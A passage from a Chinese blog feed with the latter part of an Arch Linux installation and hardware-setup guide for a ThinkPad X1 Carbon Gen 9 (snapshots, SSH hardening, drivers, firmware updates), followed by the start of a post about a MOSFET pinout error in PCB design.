class="string">&quot;网络密码&quot;</span>  <span class="comment"># 连接指定的无线网络</span></span><br><span class="line"><span class="comment"># 如果上面报错运行以下命令</span></span><br><span class="line">nmcli dev wifi connect <span class="string">&quot;Wi-Fi名（SSID）&quot;</span> --ask</span><br><span class="line">nmtui                                                        <span class="comment"># 图形界面</span></span><br></pre></td></tr></table></figure><p><strong>2. 添加新用户</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">useradd -G wheel -m newUser                                  <span class="comment"># 添加 newUser 用户</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;newUser ALL=(ALL:ALL) ALL&quot;</span> &gt;&gt; /etc/sudoers.d/newUser   <span class="comment"># 给予 sudo 权限</span></span><br><span class="line">passwd newUser                                               <span class="comment"># 修改密码</span></span><br></pre></td></tr></table></figure><p><strong>3. 安装 fastfetch 查看系统信息</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pacman -S fastfetch</span><br></pre></td></tr></table></figure><p><strong>4. 配置 snapper 快照</strong></p><p>需要专门创建一个 <code>@snapshots</code> 子卷挂载至 <code>/.snapshots</code>，这样在回滚根目录时才不会把快照本身一起丢掉。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">pacman -S snapper snap-pac                <span class="comment"># 安装软件包</span></span><br><span class="line">snapper -c snap create-config /           <span class="comment"># 新建一个名为 snap 的配置</span></span><br><span class="line">btrfs subvolume delete /.snapshots        <span class="comment"># 删除默认配置的快照子卷</span></span><br><span class="line"><span class="built_in">mkdir</span> /.snapshots                         <span class="comment"># 在根目录新建快照保存文件夹</span></span><br><span class="line">mount /dev/mapper/linuxroot /mnt          <span class="comment"># 把顶层子卷挂载到一个临时位置</span></span><br><span class="line">btrfs subvolume create /mnt/@snapshots    <span class="comment"># 新建快照存放子卷</span></span><br><span class="line">umount /mnt</span><br><span class="line">mount -t btrfs -o subvol=@snapshots,compress=zstd:1 -m /dev/mapper/linuxroot /.snapshots</span><br><span class="line"><span class="built_in">chown</span> :wheel /.snapshots                  <span class="comment"># 权限管理</span></span><br><span class="line"><span class="built_in">chmod</span> 750 /.snapshots                     <span class="comment"># 权限管理</span></span><br></pre></td></tr></table></figure><p>在 <code>/etc/fstab</code> 中补充挂载条目（UUID 换成自己的 btrfs 文件系统 UUID）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># &lt;设备&gt;  &lt;挂载点&gt;  &lt;类型&gt;  &lt;参数&gt;</span><br><span class="line">UUID=aacd8c72-ee57-41f2-8122-e957967de330  /.snapshots btrfs rw,relatime,compress=zstd:1,ssd,space_cache=v2,subvol=/@snapshots 0 0</span><br></pre></td></tr></table></figure><p>编辑快照配置 <code>/etc/snapper/configs/snap</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"># 1. 权限设置：允许 wheel 组用户管理快照</span><br><span class="line">ALLOW_GROUPS=&quot;wheel&quot;</span><br><span class="line"></span><br><span class="line"># 2. 自动快照开关</span><br><span class="line">TIMELINE_CREATE=&quot;yes&quot;     # 开启时间线快照（每小时自动打）</span><br><span class="line">TIMELINE_CLEANUP=&quot;yes&quot;    # 开启清理服务（必须开，否则只增不减）</span><br><span class="line"></span><br><span class="line"># 3. 保留策略（最关键部分，默认值太多了，建议大幅减少）</span><br><span class="line">TIMELINE_MIN_AGE=&quot;1800&quot;        # 至少保留多久不被删（秒），1800=30 分钟</span><br><span class="line">TIMELINE_LIMIT_HOURLY=&quot;5&quot;      # 每小时保留 5 个（覆盖过去 5 小时）</span><br><span class="line">TIMELINE_LIMIT_DAILY=&quot;7&quot;       # 每天保留 7 个（覆盖过去一周）</span><br><span class="line">TIMELINE_LIMIT_WEEKLY=&quot;0&quot;      # 周/月/年一般设 0，个人电脑很少回滚到一年前，且占空间巨大</span><br><span class="line">TIMELINE_LIMIT_MONTHLY=&quot;0&quot;</span><br><span class="line">TIMELINE_LIMIT_YEARLY=&quot;0&quot;</span><br><span class="line"></span><br><span class="line"># 4. 手动 / pacman 快照数量限制</span><br><span class="line">NUMBER_CLEANUP=&quot;yes&quot;</span><br><span class="line">NUMBER_LIMIT=&quot;50&quot;</span><br><span class="line">NUMBER_LIMIT_IMPORTANT=&quot;10&quot;</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">systemctl <span class="built_in">enable</span> --now snapper-timeline.timer    <span class="comment"># 启用定时快照（只想要 pacman 自动快照可不开）</span></span><br><span class="line">systemctl <span class="built_in">enable</span> --now snapper-cleanup.timer     <span class="comment"># 启用自动清理（不开快照只增不减）</span></span><br><span class="line">snapper -c snap create -d <span class="string">&quot;My First Snapshot&quot;</span>    <span class="comment"># 手动创建快照</span></span><br><span class="line">snapper -c snap list                             <span class="comment"># 快照列表</span></span><br></pre></td></tr></table></figure><p><strong>5. 安装并加固 ssh 服务</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S openssh</span><br></pre></td></tr></table></figure><p>sshd 默认是&quot;监听 0.0.0.0:22 + 允许密码登录&quot;，在公网或多设备环境下务必先做基础加固：仅密钥登录、禁用 root、限制重试。新建一个 drop-in 配置文件：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># /etc/ssh/sshd_config.d/10-hardening.conf</span><br><span class="line">PasswordAuthentication no</span><br><span class="line">AuthenticationMethods publickey</span><br><span class="line">PermitRootLogin no</span><br><span class="line">MaxAuthTries 3</span><br><span class="line">LoginGraceTime 30</span><br><span class="line">X11Forwarding no</span><br></pre></td></tr></table></figure><p><strong>改之前一定要先确认密钥能登录，顺序不能错，否则会把自己锁在门外</strong>：</p><ol><li>先从客户端 <code>ssh-copy-id</code> 部署公钥，确认服务器上 <code>~/.ssh/authorized_keys</code> 就位（目录 700 / 文件 600）</li><li>写入上面的配置后用 <code>sshd -t</code> 校验，报错就先别动</li><li><code>systemctl reload sshd</code>（reload 不会断开当前连接）</li><li><strong>保持当前会话不要关</strong>，另开一个窗口用密钥登录成功，才算完成</li></ol><p>确认无误后启用服务：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl <span class="built_in">enable</span> --now sshd</span><br></pre></td></tr></table></figure><p><strong>6. 安装桌面环境</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S plasma plasma-workspace kde-applications</span><br></pre></td></tr></table></figure><p><strong>7. 中文输入法</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S fcitx5-im fcitx5-chinese-addons</span><br></pre></td></tr></table></figure><p>KDE Wayland 下配置 <code>/etc/environment</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">XMODIFIERS=@im=fcitx</span><br></pre></td></tr></table></figure><p>安装词库：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S fcitx5-pinyin-zhwiki</span><br></pre></td></tr></table></figure><p><strong>8. zsh 配置</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">chsh -s /usr/bin/zsh    <span class="comment"># 将 Zsh 设置为当前用户的默认 Shell</span></span><br><span class="line">zsh                     <span class="comment"># 启动 Zsh（如果尚未启动）</span></span><br><span class="line"><span class="built_in">sudo</span> pacman -S zsh-autosuggestions zsh-completions zsh-history-substring-search zsh-syntax-highlighting</span><br></pre></td></tr></table></figure><blockquote><p>插件装上只是第一步：没有 <code>compinit</code>、或插件加载顺序不对（autosuggestions → syntax-highlighting → history-substring-search），这些插件都等于白装。完整的 <code>.zshrc</code> 与配置思路内容较多，单独整理在了 <a href="https://github.com/CatWhiteAngel/dotfiles/tree/main/zsh">我的 zsh 配置</a>里。</p></blockquote><p><strong>9. 收紧 EFI 分区权限（可选）</strong></p><p><code>genfstab</code> 生成的 EFI 挂载条目默认是 <code>fmask=0022</code>，意味着所有用户都能读取 ESP 里的引导文件。想收紧到只有 root 可读，编辑 <code>/etc/fstab</code>，把 EFI 那一行的参数改成：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fmask=0137,dmask=0027</span><br></pre></td></tr></table></figure><p><strong>注意：这个改动必须改 fstab 然后重启才生效。</strong> vfat 的 <code>fmask/dmask</code> 是超级块级别的选项，在运行中的系统上直接 <code>mount -o remount</code> 或重新挂载都不会生效（旧的超级块会被各种服务的挂载命名空间占用、静默复用，新参数被忽略）。别在运行时折腾，改好 fstab 重启即可。</p><h2 id="8-硬件适配（ThinkPad-X1-Carbon-Gen-9）">8 硬件适配（ThinkPad X1 Carbon Gen 9）</h2><p><a href="https://wiki.archlinux.org/title/Lenovo_ThinkPad_X1_Carbon_(Gen_9)">https://wiki.archlinux.org/title/Lenovo_ThinkPad_X1_Carbon_(Gen_9)</a></p><p>以上流程对大多数机器通用，这一节按&quot;不装就用不了 → 按需 → 开箱即用&quot;的顺序，逐项列出本机各部件实测后需要的包与配置。</p><p>可以先把硬件相关的包一次装齐，再看下面每项的说明与验证：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S --needed \</span><br><span class="line">  intel-ucode \</span><br><span class="line">  sof-firmware alsa-ucm-conf \</span><br><span class="line">  mesa intel-media-driver vulkan-intel \</span><br><span class="line">  linux-firmware wireless-regdb \</span><br><span class="line">  networkmanager modemmanager \</span><br><span class="line">  bluez bluez-utils \</span><br><span class="line">  fprintd \</span><br><span class="line">  fwupd</span><br></pre></td></tr></table></figure><p><strong>1. 声音（必需，否则完全无声）</strong></p><p>Tiger Lake 的声卡走 Sound Open Firmware（SOF），不装就 <strong>没有任何声音输出</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S sof-firmware alsa-ucm-conf</span><br></pre></td></tr></table></figure><p>驱动是 <code>sof-audio-pci-intel-tgl</code>，声卡名 <code>sof-hda-dsp</code>，<code>cat /proc/asound/cards</code> 应能看到 <code>sofhdadsp</code>。内置的四阵列麦克风（DMIC）也归 SOF 管，装好 <code>sof-firmware</code> + <code>alsa-ucm-conf</code> 后通常即可使用；个别情况下麦克风识别不出来，是 DMIC 与 HDA codec 的加载顺序问题，可参考 Arch Wiki 的 Gen 9 页面麦克风小节处理。</p><p>外放偏闷，可选装 <code>easyeffects</code> 并套用预设包里的 “Laptop” 预设改善：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S easyeffects</span><br></pre></td></tr></table></figure><p><strong>2. CPU 微码（必需）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S intel-ucode</span><br></pre></td></tr></table></figure><p>通过第 4 节 HOOKS 里的 <code>microcode</code> 早加载。调频驱动是 <code>intel_pstate</code>，HWP（硬件管理 P-states）已生效，<code>cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_driver</code> 应为 <code>intel_pstate</code>。dmesg 里没有 “microcode: updated early” 也属正常——说明 BIOS 自带微码已不低于包里的版本。</p><p><strong>3. 核显 / 视频加速（必需）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S mesa intel-media-driver vulkan-intel</span><br></pre></td></tr></table></figure><p>内核驱动用默认的 <code>i915</code> 即可，DMC/GuC/HuC 固件随 <code>linux-firmware</code> 自动加载，<strong>无需折腾 xe</strong>。VA-API 走 <strong>iHD</strong>（<code>intel-media-driver</code>），不要装老的 <code>libva-intel-driver</code>（i965，那是给老核显的）。验证：<code>vainfo | grep &quot;Driver version&quot;</code> 应显示 Intel iHD。</p><p><strong>4. Wi-Fi（AX201）+ 无线监管库（必需）</strong></p><p>Wi-Fi 驱动 <code>iwlwifi</code> 与固件随 <code>linux-firmware</code> 自带，但 <strong><code>wireless-regdb</code> 很容易漏装</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S linux-firmware wireless-regdb</span><br></pre></td></tr></table></figure><p>缺了它，dmesg 会报 <code>cfg80211: failed to load regulatory.db</code>，监管域退回 <code>country 00</code>（信道与发射功率不受正确约束）。装上重启后用 <code>iw reg get</code> 确认不再是 <code>country 00</code>。（NetworkManager 的安装与连接见第 7 节。）</p><p><strong>5. 蓝牙（AX201）（必需）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S bluez bluez-utils</span><br><span class="line"><span class="built_in">sudo</span> systemctl <span class="built_in">enable</span> --now bluetooth</span><br></pre></td></tr></table></figure><p>固件随 <code>linux-firmware</code>（Intel ibt 系列）自动加载。<code>bluez-utils</code> 提供 <code>bluetoothctl</code>，<strong>也容易漏装</strong>。之后在 KDE 系统托盘的蓝牙图标里配对即可。</p><p><strong>6. 电池充电阈值（ThinkPad 特色，延长电池寿命）</strong></p><p>内核的 <code>thinkpad_acpi</code> 直接暴露 sysfs 接口，不需要 TLP 全家桶。写一个 oneshot 服务在开机时设置即可（本机用 75/80）：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># /etc/systemd/system/battery-charge-threshold.service</span></span><br><span class="line"><span class="section">[Unit]</span></span><br><span class="line"><span class="attr">Description</span>=Set ThinkPad battery charge thresholds (<span class="number">75</span>/<span class="number">80</span>)</span><br><span class="line"><span class="attr">After</span>=multi-user.target</span><br><span class="line"></span><br><span class="line"><span class="section">[Service]</span></span><br><span class="line"><span class="attr">Type</span>=<span class="literal">on</span>eshot</span><br><span class="line"><span class="attr">ExecStart</span>=/bin/sh -c <span class="string">&#x27;echo 75 &gt; /sys/class/power_supply/BAT0/charge_control_start_threshold; echo 80 &gt; /sys/class/power_supply/BAT0/charge_control_end_threshold&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="section">[Install]</span></span><br><span class="line"><span class="attr">WantedBy</span>=multi-user.target</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl <span class="built_in">enable</span> --now battery-charge-threshold.service</span><br></pre></td></tr></table></figure><p><strong>7. 电源管理</strong></p><p>KDE 生态选 <code>power-profiles-daemon</code>（Plasma 电池菜单里直接集成三档调度）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S power-profiles-daemon</span><br></pre></td></tr></table></figure><p>CPU 调度走 intel_pstate 的 <code>powersave</code> governor + <code>balance_performance</code> EPP，无需额外配置。注意 <strong>TLP 与 PPD 二选一，不要同时装</strong>。</p><p><strong>8. 固件更新：fwupd</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S fwupd</span><br></pre></td></tr></table></figure><p>联想把 BIOS / EC / Intel ME / UEFI dbx 都推到了 LVFS，用 Discover 或 <code>fwupdmgr</code> 即可直接升级。</p><p>不过开启 Secure Boot 自签密钥的机器这里有个坑：UEFI 胶囊更新需要重启进入 fwupd 的 EFI 引导器来刷固件，而 Secure Boot 开启时 fwupd 找的是 <strong>签过名的</strong> <code>.signed</code> 文件，Arch 不会替你签（密钥在你手里），于是固件更新会报错 <code>fwupdx64.efi.signed cannot be found</code>。手动签一次即可（<code>-s</code> 记入 sbctl 数据库，以后 fwupd 包升级会自动重签，一劳永逸）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> sbctl sign -s -o /usr/lib/fwupd/efi/fwupdx64.efi.signed /usr/lib/fwupd/efi/fwupdx64.efi</span><br></pre></td></tr></table></figure><p>若机器没有 shim，再在 <code>/etc/fwupd/fwupd.conf</code> 追加：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[uefi_capsule]</span><br><span class="line">DisableShimForSecureBoot=true</span><br></pre></td></tr></table></figure><p>之后固件即可正常升级。提醒：<strong>刷 EC 必须插着电源</strong>；过程中会自动重启多次，看到 Lenovo logo 进度条耐心等就好。</p><p><strong>9. 指纹识别（可选）</strong></p><p>本机的指纹模块是 Synaptics Prometheus（<code>06cb:00fc</code>），libfprint 原生支持：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S fprintd</span><br><span class="line">fprintd-enroll        <span class="comment"># 录入指纹</span></span><br></pre></td></tr></table></figure><p><code>fprintd</code> 是 dbus 激活的，不用 enable 服务。若想让登录、sudo、解锁屏幕也走指纹，再在 <code>/etc/pam.d/</code> 的相应文件里加 <code>pam_fprintd.so</code>（具体见 Arch Wiki 的 fprint 词条）。验证：<code>lsusb -d 06cb:00fc</code> 能看到设备。若型号不同，<code>fprintd-enroll</code> 报错就说明你的批次暂未被 libfprint 支持。</p><p><strong>10. WWAN 4G 模组（按需）</strong></p><p>本机带 Quectel EM05-CE 蜂窝模组，默认保持关闭，需要插 SIM 上网时再启用：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S modemmanager</span><br><span class="line"><span class="comment"># 需要时再开：</span></span><br><span class="line"><span class="comment"># sudo systemctl enable --now ModemManager</span></span><br></pre></td></tr></table></figure><p>EM05-CE 在 Linux 下基本开箱即用，启用 ModemManager 后用 <code>mmcli -L</code> 能看到模组，NetworkManager 可直接管理蜂窝连接。（注意：部分 Fibocom 模组需要额外的 FCC unlock，EM05-CE 不需要。）</p><p><strong>11. Thunderbolt 4 / USB4（开箱即用）</strong></p><p><code>thunderbolt</code> 驱动已自动绑定，无需额外包。若想对外接 TB 设备做授权管理，可选装 <code>bolt</code>（用 <code>boltctl</code> 管理授权）。</p><p><strong>12. 屏幕亮度 / 旋转传感器</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S iio-sensor-proxy</span><br></pre></td></tr></table></figure><p>提供环境光传感器（自动亮度）与加速度计（自动旋转）支持，KDE 会自动接入。</p><p><strong>13. 摄像头 / TrackPoint / 触控板（开箱即用）</strong></p><p>摄像头（Syntek）走 <code>uvcvideo</code>，TrackPoint 与触控板由 <code>psmouse</code> + libinput 处理，都不用额外配置。TrackPoint 默认灵敏度若不顺手，可改 <code>/sys/devices/platform/i8042/serio*/sensitivity</code>（取值 0–255，60 左右是个不错的起点）。</p><p><strong>14. zram（内存压缩交换）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S zram-generator</span><br></pre></td></tr></table></figure><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># /etc/systemd/zram-generator.conf</span></span><br><span class="line"><span class="section">[zram0]</span></span><br><span class="line"><span class="attr">zram-size</span> = <span class="number">8192</span></span><br><span class="line"><span class="attr">compression-algorithm</span> = zstd</span><br></pre></td></tr></table></figure><p>配合官方推荐的内核参数：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># /etc/sysctl.d/99-zram.conf</span></span><br><span class="line"><span class="attr">vm.swappiness</span> = <span class="number">180</span></span><br><span class="line"><span class="attr">vm.watermark_boost_factor</span> = <span class="number">0</span></span><br><span class="line"><span class="attr">vm.watermark_scale_factor</span> = <span class="number">125</span></span><br><span class="line"><span class="attr">vm.page-cluster</span> = <span class="number">0</span></span><br></pre></td></tr></table></figure><p><strong>15. SSD：TRIM 穿透 LUKS</strong></p><p>内核 cmdline 已加 <code>rd.luks.options=discard</code>（见 4.2），再启用定时 TRIM：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl <span class="built_in">enable</span> --now fstrim.timer</span><br></pre></td></tr></table></figure><p><strong>16. 散热：不要装 thermald</strong></p><p>这台机器 <strong>不要装 <code>thermald</code></strong>——散热已由三层自管，实测在跑：HWP 硬件 P-states 让 CPU 按 PL1/PL2/Tjmax 自主降频；DPTF 固件散热（<code>proc_thermal</code> 驱动 + ACPI <code>INT3400</code> 热区，Lenovo BIOS 实现了完整动态热框架）；以及 ThinkPad EC 独立控制风扇曲线。thermald 只对没有 HWP、OEM 固件散热又差的老机型才有意义，本机安装后会提示无法启用服务。</p><p><strong>17. 其他细节</strong></p><ul><li><strong>睡眠（挂起）方式</strong>：Tiger Lake 这代普遍走 s2idle（Windows modern standby），而非传统 S3；Lenovo 官方也建议现代 Intel 平台用这种方式。<code>cat /sys/power/mem_sleep</code> 可看当前在用的（方括号里那个）。若挂起耗电偏高，优先升级 BIOS，它对 s0ix 残留功耗有改善。</li><li>BIOS（firmware）阶段本机就要约 10 秒，想缩短可去 BIOS 里关掉不用的启动项。</li></ul><p>启动耗时参考：firmware 10.3s（BIOS 层面）+ loader 2.4s + kernel 1s + initrd 3.7s + userspace 6.7s。</p><p><strong>验证速查</strong></p><p>装完之后，这几条命令可以快速核对各部件状态：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">lspci -k                              <span class="comment"># 各 PCI 设备的内核驱动绑定</span></span><br><span class="line">lsusb                                 <span class="comment"># USB 设备（WWAN / 指纹 / 摄像头 / 蓝牙）</span></span><br><span class="line"><span class="built_in">sudo</span> dmesg | grep -iE <span class="string">&quot;firmware|fail&quot;</span> <span class="comment"># 固件加载与错误告警</span></span><br><span class="line"><span class="built_in">cat</span> /proc/asound/cards                <span class="comment"># 声卡</span></span><br><span class="line">vainfo | grep <span class="string">&quot;Driver version&quot;</span>        <span class="comment"># 核显 VA-API</span></span><br><span class="line">iw reg get                            <span class="comment"># Wi-Fi 监管域</span></span><br><span class="line">mmcli -L                              <span class="comment"># WWAN 模组（启用 ModemManager 后）</span></span><br></pre></td></tr></table></figure><hr><h2 id="结语">结语</h2><p>这套配置乍看环节很多，但拆开来每一步都不复杂，真正的价值在于它们组合起来之后那种&quot;平时无感、出事兜底&quot;的安全感。安装过程难免踩坑，卡住了多查 Arch Wiki、多看日志，绝大多数问题都能定位下来。如有出入或更好的做法，欢迎在评论区指正。</p><p><strong>最后祝各位折腾顺利。</strong></p>]]>
    </content>
    <id>https://www.catwhiteangel.com/arch-linux-full-disk-encryption-luks-btrfs-secure-boot/</id>
    <link href="https://www.catwhiteangel.com/arch-linux-full-disk-encryption-luks-btrfs-secure-boot/"/>
    <published>2026-04-06T09:03:38.000Z</published>
    <summary>在 ThinkPad X1 Carbon Gen 9 上安装 Arch Linux 的完整记录：LUKS2 全盘加密 + btrfs 子卷与 snapper 快照、systemd-boot UKI、sbctl 自管密钥的 Secure Boot 与 TPM2 自动解锁，讲清四者环环相扣的安全逻辑与各环节验证方法。</summary>
    <title>Archlinux安装——UEFI 全盘加密（btrfs LUKS） 安全启动（systemd-boot UKI） TPM2自动解锁 基于ThinkPad X1 Carbon Gen 9（2021）</title>
    <updated>2026-04-06T09:03:38.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Hardware" scheme="https://www.catwhiteangel.com/categories/Hardware/"/>
    <category term="PCB Design" scheme="https://www.catwhiteangel.com/tags/PCB-Design/"/>
    <category term="MOSFET" scheme="https://www.catwhiteangel.com/tags/MOSFET/"/>
    <category term="Electronics" scheme="https://www.catwhiteangel.com/tags/Electronics/"/>
    <content>
      <![CDATA[<h1>PCB设计注意事项——MOSFET的不同封装</h1><p>在最近的PCB设计中，我遇到了一个典型但极易被忽略的硬件错误，特此记录以作备忘。这个项目涉及到一个基础的低侧开关（low-side switch）电路，使用 N 沟道 MOSFET 来驱动一个 LED 负载。</p><h2 id="1-现象与问题诊断">1 现象与问题诊断</h2><p><strong>不同的 MOSFET 封装有着截然不同的引脚排列。</strong></p><p>我使用的MOSFET型号是2N7002，其引脚示意图如图1所示。</p><figure>    <img src="https://img.gulugulublog.com/posts/pcb-design-consideration-different-mosfet-packages/2N7002PinoutDiagram.png" width="80%">    <center><figcaption>图1 2N7002引脚示意图</figcaption></center></figure><p>图2为原理图，MOSFET选择了正确的引脚布局，其中控制信号（Signal_In）连接到引脚1，地（GND）连接到引脚2，负载（LED D1 和限流电阻 R6）连接到引脚3。这对应的是 G-S-D 的引脚顺序：</p><p>引脚1：栅极（Gate），接收驱动信号；</p><p>引脚2：源极（Source），接地参考；</p><p>引脚3：漏极（Drain），接入负载。</p><figure>    <img src="https://img.gulugulublog.com/posts/pcb-design-consideration-different-mosfet-packages/Schematic-with-correct-pin-assignments.png" width="80%">    <center><figcaption>图2 使用正确引脚布局的原理图</figcaption></center></figure><p>但第一次绘制原理图时，我错误地套用了一个 D-G-S 排列的封装符号。此时的等效原理图如图3所示。</p><figure>    <img src="https://img.gulugulublog.com/posts/pcb-design-consideration-different-mosfet-packages/Equivalent-schematic-for-incorrect-pin-assignment.png" width="80%">    <center><figcaption>图3 错误引脚分配的等效原理图</figcaption></center></figure><p>错位之后，实际落到焊盘上的网络变成了：栅极接到了负载、源极接到了信号、漏极接到了地。N 沟道 MOSFET 的体二极管（body diode）阳极在源极、阴极在漏极，所以当控制信号输出高电平时，源极电位高于漏极，体二极管被正向偏置，电流直接从信号源经体二极管灌到地，造成短路——在这条路径里，MOSFET 从头到尾都没有作为开关工作过。</p><p>这里我在测试时用可调电源预先设了限流，没有造成严重后果。值得一提的是，看到限流灯亮起、电流顶到设定上限，就是这条短路在起作用，这是接错位最典型的症状，不必怀疑其他地方。</p><p>事后定位电极也有个简单办法：用万用表的二极管档量体二极管，读到约 0.5~0.7 V 正向压降的那一对引脚，阳极即源极、阴极即漏极，据此就能反推物理引脚的归属。</p><p>临时的解决方案是把贴片上的MOSFET整体逆时针挪一个引脚位（即把 G-S-D 转成 D-G-S 的朝向）。如图4所示。</p><figure>    <img src="https://img.gulugulublog.com/posts/pcb-design-consideration-different-mosfet-packages/PCB-with-a-temporary-repair.png" width="80%">    <center><figcaption>图4 临时修复的PCB</figcaption></center></figure><h2 id="2-经验总结">2 